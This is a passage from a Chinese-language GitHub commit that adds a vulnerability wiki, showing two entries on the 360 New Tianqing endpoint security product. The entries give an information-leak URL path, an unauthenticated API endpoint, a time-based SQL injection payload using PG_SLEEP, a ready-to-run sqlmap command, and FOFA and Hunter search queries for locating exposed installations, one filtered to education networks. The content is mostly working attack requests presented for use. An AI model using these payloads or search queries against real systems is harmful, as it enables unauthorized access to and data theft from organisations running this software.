12.31上线wiki

wy876 · Dec 31, 2023 · 07ebe48 · 07ebe48
commit 07ebe48
Show file tree

Hide file tree

Showing 237 changed files with 9,396 additions and 0 deletions.
diff --git a/.nojekyll b/.nojekyll
diff --git a/360_新天擎终端安全管理系统存在信息泄露漏洞.md b/360_新天擎终端安全管理系统存在信息泄露漏洞.md
@@ -0,0 +1,4 @@
+## 360 新天擎终端安全管理系统存在信息泄露漏洞
+```
+GET /runtime/admin_log_confcache
+```
diff --git a/360天擎_-_未授权与sql注入.md b/360天擎_-_未授权与sql注入.md
@@ -0,0 +1,26 @@
+## 360天擎 - 未授权与sql注入
+
+## FOFA语法
+```title="360新天擎"```
+
+
+## 鹰图
+```web.title="360新天擎"&& ip.isp="教育"```
+
+## 漏洞复现
+
+### 未授权漏洞
+```路由后拼接/api/dbstat/gettablessize```
+![](./assets/20231018183944.png)
+
+### sql注入漏洞
+比较推荐的方式先测试是否存在数据库信息泄露，存在的话大概率存在SQL注入
+```
+路由后拼接/api/dp/rptsvcsyncpoint?ccid=1
+
+{{Hostname}}/api/dp/rptsvcsyncpoint?ccid=1';SELECT PG_SLEEP(5)--
+```
+![](./assets/20231018184057.png)
+
+## sqlmap
+python .\sqlmap.py --batch -dbs -u https://{{Hostname}}/api/dp/rptsvcsyncpoint?ccid=1